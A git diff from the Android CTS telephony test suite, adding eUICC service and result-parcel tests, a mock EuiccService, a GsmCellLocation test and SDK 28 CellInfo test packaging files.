+        mEuiccServiceBinder.getEuiccInfo(
+                MOCK_SLOT_ID,
+                new IGetEuiccInfoCallback.Stub() {
+                    @Override
+                    public void onSuccess(EuiccInfo euiccInfo) {
+                        assertNotNull(euiccInfo);
+                        assertEquals(MockEuiccService.MOCK_OS_VERSION, euiccInfo.getOsVersion());
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnDeleteSubscription() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.deleteSubscription(
+                MOCK_SLOT_ID,
+                MOCK_ICCID,
+                new IDeleteSubscriptionCallback.Stub() {
+                    @Override
+                    public void onComplete(int result) {
+                        assertEquals(EuiccService.RESULT_OK, result);
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnSwitchToSubscription() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.switchToSubscription(
+                MOCK_SLOT_ID,
+                MOCK_ICCID,
+                true /*forceDeactivateSim*/,
+                new ISwitchToSubscriptionCallback.Stub() {
+                    @Override
+                    public void onComplete(int result) {
+                        assertEquals(EuiccService.RESULT_OK, result);
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnUpdateSubscriptionNickname() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.updateSubscriptionNickname(
+                MOCK_SLOT_ID,
+                MOCK_ICCID,
+                MOCK_NICK_NAME,
+                new IUpdateSubscriptionNicknameCallback.Stub() {
+                    @Override
+                    public void onComplete(int result) {
+                        assertEquals(EuiccService.RESULT_OK, result);
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnEraseSubscriptions() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.eraseSubscriptions(
+                MOCK_SLOT_ID,
+                new IEraseSubscriptionsCallback.Stub() {
+                    @Override
+                    public void onComplete(int result) {
+                        assertEquals(EuiccService.RESULT_OK, result);
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnRetainSubscriptionsForFactoryReset() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.retainSubscriptionsForFactoryReset(
+                MOCK_SLOT_ID,
+                new IRetainSubscriptionsForFactoryResetCallback.Stub() {
+                    @Override
+                    public void onComplete(int result) {
+                        assertEquals(EuiccService.RESULT_OK, result);
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
rename to tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDefaultDownloadableSubscriptionListResultTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDefaultDownloadableSubscriptionListResultTest.java
new file mode 100644
index 0000000..5b57c47
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDefaultDownloadableSubscriptionListResultTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.service.euicc.EuiccService;
+import android.service.euicc.GetDefaultDownloadableSubscriptionListResult;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class GetDefaultDownloadableSubscriptionListResultTest {
+
+    private GetDefaultDownloadableSubscriptionListResult mDefaultSubListResult;
+
+    @Before
+    public void setUp() {
+        mDefaultSubListResult =
+                new GetDefaultDownloadableSubscriptionListResult(
+                        EuiccService.RESULT_RESOLVABLE_ERRORS, null /*subscriptions*/);
+    }
+
+    @Test
+    public void testGetResult() {
+        assertNotNull(mDefaultSubListResult);
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, mDefaultSubListResult.getResult());
+    }
+
+    @Test
+    public void testGetDownloadableSubscriptions() {
+        assertNotNull(mDefaultSubListResult);
+        assertNull(mDefaultSubListResult.getDownloadableSubscriptions());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        assertNotNull(mDefaultSubListResult);
+        int bitmask = mDefaultSubListResult.describeContents();
+        assertTrue(bitmask == 0 || bitmask == Parcelable.CONTENTS_FILE_DESCRIPTOR);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        assertNotNull(mDefaultSubListResult);
+
+        Parcel parcel = Parcel.obtain();
+        assertTrue(parcel != null);
+        mDefaultSubListResult.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        GetDefaultDownloadableSubscriptionListResult fromParcel =
+                GetDefaultDownloadableSubscriptionListResult.CREATOR.createFromParcel(parcel);
+
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, fromParcel.getResult());
+        assertNull(fromParcel.getDownloadableSubscriptions());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDownloadableSubscriptionMetadataResultTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDownloadableSubscriptionMetadataResultTest.java
new file mode 100644
index 0000000..d1a493c
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetDownloadableSubscriptionMetadataResultTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.service.euicc.EuiccService;
+import android.service.euicc.GetDownloadableSubscriptionMetadataResult;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class GetDownloadableSubscriptionMetadataResultTest {
+
+    private GetDownloadableSubscriptionMetadataResult mSubMetadataResult;
+
+    @Before
+    public void setUp() {
+        mSubMetadataResult =
+                new GetDownloadableSubscriptionMetadataResult(
+                        EuiccService.RESULT_RESOLVABLE_ERRORS, null /*subscriptions*/);
+    }
+
+    @Test
+    public void testGetResult() {
+        assertNotNull(mSubMetadataResult);
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, mSubMetadataResult.getResult());
+    }
+
+    @Test
+    public void testGetDownloadableSubscription() {
+        assertNotNull(mSubMetadataResult);
+        assertNull(mSubMetadataResult.getDownloadableSubscription());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        assertNotNull(mSubMetadataResult);
+        int bitmask = mSubMetadataResult.describeContents();
+        assertTrue(bitmask == 0 || bitmask == Parcelable.CONTENTS_FILE_DESCRIPTOR);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        assertNotNull(mSubMetadataResult);
+
+        Parcel parcel = Parcel.obtain();
+        assertTrue(parcel != null);
+        mSubMetadataResult.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        GetDownloadableSubscriptionMetadataResult fromParcel =
+                GetDownloadableSubscriptionMetadataResult.CREATOR.createFromParcel(parcel);
+
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, fromParcel.getResult());
+        assertNull(fromParcel.getDownloadableSubscription());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetEuiccProfileInfoListResultTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetEuiccProfileInfoListResultTest.java
new file mode 100644
index 0000000..c86b338
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/GetEuiccProfileInfoListResultTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.service.euicc.EuiccService;
+import android.service.euicc.GetEuiccProfileInfoListResult;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class GetEuiccProfileInfoListResultTest {
+
+    private GetEuiccProfileInfoListResult mProfileListResult;
+
+    @Before
+    public void setUp() {
+        mProfileListResult =
+                new GetEuiccProfileInfoListResult(
+                        EuiccService.RESULT_RESOLVABLE_ERRORS,
+                        null /*profiles*/,
+                        false /*isRemovable*/);
+    }
+
+    @Test
+    public void testGetResult() {
+        assertNotNull(mProfileListResult);
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, mProfileListResult.getResult());
+    }
+
+    @Test
+    public void testGetProfiles() {
+        assertNotNull(mProfileListResult);
+        assertNull(mProfileListResult.getProfiles());
+    }
+
+    @Test
+    public void testGetIsRemovable() {
+        assertNotNull(mProfileListResult);
+        assertFalse(mProfileListResult.getIsRemovable());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        assertNotNull(mProfileListResult);
+        int bitmask = mProfileListResult.describeContents();
+        assertTrue(bitmask == 0 || bitmask == Parcelable.CONTENTS_FILE_DESCRIPTOR);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        assertNotNull(mProfileListResult);
+
+        Parcel parcel = Parcel.obtain();
+        assertTrue(parcel != null);
+        mProfileListResult.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        GetEuiccProfileInfoListResult fromParcel =
+                GetEuiccProfileInfoListResult.CREATOR.createFromParcel(parcel);
+
+        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, fromParcel.getResult());
+        assertNull(mProfileListResult.getProfiles());
+        assertFalse(mProfileListResult.getIsRemovable());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java
new file mode 100644
index 0000000..c952446
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.os.Bundle;
+import android.service.euicc.DownloadSubscriptionResult;
+import android.service.euicc.EuiccService;
+import android.service.euicc.GetDefaultDownloadableSubscriptionListResult;
+import android.service.euicc.GetDownloadableSubscriptionMetadataResult;
+import android.service.euicc.GetEuiccProfileInfoListResult;
+import android.telephony.euicc.DownloadableSubscription;
+import android.telephony.euicc.EuiccInfo;
+import android.telephony.euicc.EuiccManager;
+import android.telephony.euicc.EuiccManager.OtaStatus;
+
+/** Dummy implementation of {@link EuiccService} for testing. */
+public class MockEuiccService extends EuiccService {
+    static String MOCK_EID = "89000000000000000000000000000000";
+    static String MOCK_OS_VERSION = "1.0";
+
+    interface IMockEuiccServiceCallback {
+        void setMethodCalled();
+
+        boolean isMethodCalled();
+
+        void reset();
+    }
+
+    private static IMockEuiccServiceCallback sMockEuiccServiceCallback;
+
+    static void setCallback(IMockEuiccServiceCallback callback) {
+        sMockEuiccServiceCallback = callback;
+    }
+
+    @Override
+    public String onGetEid(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return MOCK_EID;
+    }
+
+    @Override
+    public @OtaStatus int onGetOtaStatus(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccManager.EUICC_OTA_SUCCEEDED;
+    }
+
+    @Override
+    public void onStartOtaIfNecessary(int slotId, OtaStatusChangedCallback statusChangedCallback) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        statusChangedCallback.onOtaStatusChanged(EuiccManager.EUICC_OTA_SUCCEEDED);
+    }
+
+    @Override
+    public GetDownloadableSubscriptionMetadataResult onGetDownloadableSubscriptionMetadata(
+            int slotId, DownloadableSubscription subscription, boolean forceDeactivateSim) {
+        sMockEuiccServiceCallback.setMethodCalled();
+
+        if (subscription.getEncodedActivationCode() != null) {
+            return new GetDownloadableSubscriptionMetadataResult(
+                    EuiccService.RESULT_OK, subscription);
+        } else {
+            return new GetDownloadableSubscriptionMetadataResult(
+                    EuiccService.RESULT_RESOLVABLE_ERRORS, null /*subscription*/);
+        }
+    }
+
+    @Override
+    public GetDefaultDownloadableSubscriptionListResult onGetDefaultDownloadableSubscriptionList(
+            int slotId, boolean forceDeactivateSim) {
+        sMockEuiccServiceCallback.setMethodCalled();
+
+        return new GetDefaultDownloadableSubscriptionListResult(
+                EuiccService.RESULT_RESOLVABLE_ERRORS, null /*subscriptions*/);
+    }
+
+    @Override
+    public DownloadSubscriptionResult onDownloadSubscription(
+            int slotId,
+            @NonNull DownloadableSubscription subscription,
+            boolean switchAfterDownload,
+            boolean forceDeactivateSim,
+            @Nullable Bundle resolvedBundle) {
+        sMockEuiccServiceCallback.setMethodCalled();
+
+        int cardId = 1;
+
+        if (subscription.getEncodedActivationCode() != null) {
+            return new DownloadSubscriptionResult(
+                    EuiccService.RESULT_OK, 0 /*resolvableErrors*/, cardId);
+        } else {
+            return new DownloadSubscriptionResult(
+                    EuiccService.RESULT_RESOLVABLE_ERRORS,
+                    EuiccService.RESULT_RESOLVABLE_ERRORS,
+                    cardId);
+        }
+    }
+
+    @Override
+    public @NonNull GetEuiccProfileInfoListResult onGetEuiccProfileInfoList(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return new GetEuiccProfileInfoListResult(
+                EuiccService.RESULT_RESOLVABLE_ERRORS, null /*profiles*/, false /*isRemovable*/);
+    }
+
+    @Override
+    public @NonNull EuiccInfo onGetEuiccInfo(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return new EuiccInfo(MOCK_OS_VERSION);
+    }
+
+    @Override
+    public @Result int onDeleteSubscription(int slotId, String iccid) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+
+    @Override
+    public @Result int onSwitchToSubscription(
+            int slotId, @Nullable String iccid, boolean forceDeactivateSim) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+
+    @Override
+    public int onUpdateSubscriptionNickname(int slotId, String iccid, String nickname) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+
+    @Override
+    public int onEraseSubscriptions(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+
+    @Override
+    public int onRetainSubscriptionsForFactoryReset(int slotId) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gsm/cts/GsmCellLocationTest.java b/tests/tests/telephony/current/src/android/telephony/gsm/cts/GsmCellLocationTest.java
new file mode 100644
index 0000000..68739b1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gsm/cts/GsmCellLocationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gsm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.telephony.gsm.GsmCellLocation;
+import org.junit.Test;
+
+public class GsmCellLocationTest {
+
+    private static final int CID_VALUE = 20;
+    private static final int LAC_VALUE = 10;
+    private static final int INVALID_CID = -1;
+    private static final int INVALID_LAC = -1;
+
+    @Test
+    public void testGsmCellLocation() {
+        Bundle bundle = new Bundle();
+
+        GsmCellLocation gsmCellLocation = new GsmCellLocation();
+        checkLacAndCid(INVALID_LAC, INVALID_CID, gsmCellLocation);
+
+        gsmCellLocation.setLacAndCid(LAC_VALUE, CID_VALUE);
+        gsmCellLocation.fillInNotifierBundle(bundle);
+        gsmCellLocation = new GsmCellLocation(bundle);
+        checkLacAndCid(LAC_VALUE, CID_VALUE, gsmCellLocation);
+
+        gsmCellLocation.setStateInvalid();
+        checkLacAndCid(INVALID_LAC, INVALID_CID, gsmCellLocation);
+
+        gsmCellLocation.setLacAndCid(LAC_VALUE, CID_VALUE);
+        checkLacAndCid(LAC_VALUE, CID_VALUE, gsmCellLocation);
+
+        assertEquals(LAC_VALUE ^ CID_VALUE, gsmCellLocation.hashCode());
+        assertNotNull(gsmCellLocation.toString());
+
+        GsmCellLocation testGCSEquals = new GsmCellLocation();
+        assertFalse(gsmCellLocation.equals(testGCSEquals));
+        testGCSEquals.setLacAndCid(LAC_VALUE, CID_VALUE);
+        assertTrue(gsmCellLocation.equals(testGCSEquals));
+    }
+
+    private void checkLacAndCid(int expectedLac, int expectedCid, GsmCellLocation gsmCellLocation) {
+        assertEquals(expectedLac, gsmCellLocation.getLac());
+        assertEquals(expectedCid, gsmCellLocation.getCid());
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/gsm/cts/SmsMessage_MessageClassTest.java b/tests/tests/telephony/current/src/android/telephony/gsm/cts/SmsMessage_MessageClassTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/gsm/cts/SmsMessage_MessageClassTest.java
rename to tests/tests/telephony/current/src/android/telephony/gsm/cts/SmsMessage_MessageClassTest.java
diff --git a/tests/tests/telephony/src/android/telephony/gsm/cts/SmsMessage_SubmitPduTest.java b/tests/tests/telephony/current/src/android/telephony/gsm/cts/SmsMessage_SubmitPduTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/gsm/cts/SmsMessage_SubmitPduTest.java
rename to tests/tests/telephony/current/src/android/telephony/gsm/cts/SmsMessage_SubmitPduTest.java
diff --git a/tests/tests/telephony/sdk28/Android.mk b/tests/tests/telephony/sdk28/Android.mk
new file mode 100644
index 0000000..99dc63a
--- /dev/null
+++ b/tests/tests/telephony/sdk28/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner-axt \
+    compatibility-device-util-axt
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsTelephonySdk28TestCases
+LOCAL_SDK_VERSION := 28
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+LOCAL_JAVA_LIBRARIES += android.test.base.stubs
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/sdk28/AndroidManifest.xml b/tests/tests/telephony/sdk28/AndroidManifest.xml
new file mode 100644
index 0000000..7955df5
--- /dev/null
+++ b/tests/tests/telephony/sdk28/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony.sdk28.cts">
+    <uses-sdk android:targetSdkVersion="28"
+              android:minSdkVersion="28"
+              android:maxSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony.sdk28.cts">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telephony/sdk28/AndroidTest.xml b/tests/tests/telephony/sdk28/AndroidTest.xml
new file mode 100644
index 0000000..32c0401
--- /dev/null
+++ b/tests/tests/telephony/sdk28/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
+        <option name="apk" value="CtsTelephonyPreparerApp.apk" />
+        <option name="package" value="android.telephony.cts.preconditions.app" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelephonySdk28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony.sdk28.cts" />
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java
new file mode 100644
index 0000000..2a2a283
--- /dev/null
+++ b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.sdk28.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.CellInfo;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import java.util.List;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class CellInfoTest {
+    private static final String TAG = "CellInfoTest";
+
+    private static final int MAX_WAIT_SECONDS = 15;
+    private static final int POLL_INTERVAL_MILLIS = 1000;
+
+    private TelephonyManager mTm;
+    private PackageManager mPm;
+
+    private boolean isCamped() {
+        ServiceState ss = mTm.getServiceState();
+        if (ss == null) return false;
+        return (ss.getState() == ServiceState.STATE_IN_SERVICE
+                || ss.getState() == ServiceState.STATE_EMERGENCY_ONLY);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mTm = (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPm = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testCellInfoSdk28() {
+        if (!mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+
+        if (!isCamped()) fail("Device is not camped to a cell");
+
+        List<CellInfo> cellInfo = mTm.getAllCellInfo();
+
+        // getAllCellInfo should never return null, and there should be at least one entry.
+        assertNotNull("TelephonyManager.getAllCellInfo() returned NULL CellInfo", cellInfo);
+        assertFalse("TelephonyManager.getAllCellInfo() returned an empty list", cellInfo.isEmpty());
+
+        final long initialTime = cellInfo.get(0).getTimeStamp();
+
+        for(int i = 0; i < MAX_WAIT_SECONDS; i++) {
+            try {
+                Thread.sleep(POLL_INTERVAL_MILLIS); // 1 second
+            } catch (InterruptedException ie) {
+                fail("Thread was interrupted");
+            }
+            List<CellInfo> newCellInfo = mTm.getAllCellInfo();
+            assertNotNull("TelephonyManager.getAllCellInfo() returned NULL CellInfo", newCellInfo);
+            assertFalse("TelephonyManager.getAllCellInfo() returned an empty list",
+                    newCellInfo.isEmpty());
+            // Test that new CellInfo has been retrieved from the modem
+            if (newCellInfo.get(0).getTimeStamp() != initialTime) return;
+        }
+        fail("CellInfo failed to update after " + MAX_WAIT_SECONDS + " seconds.");
+    }
+}
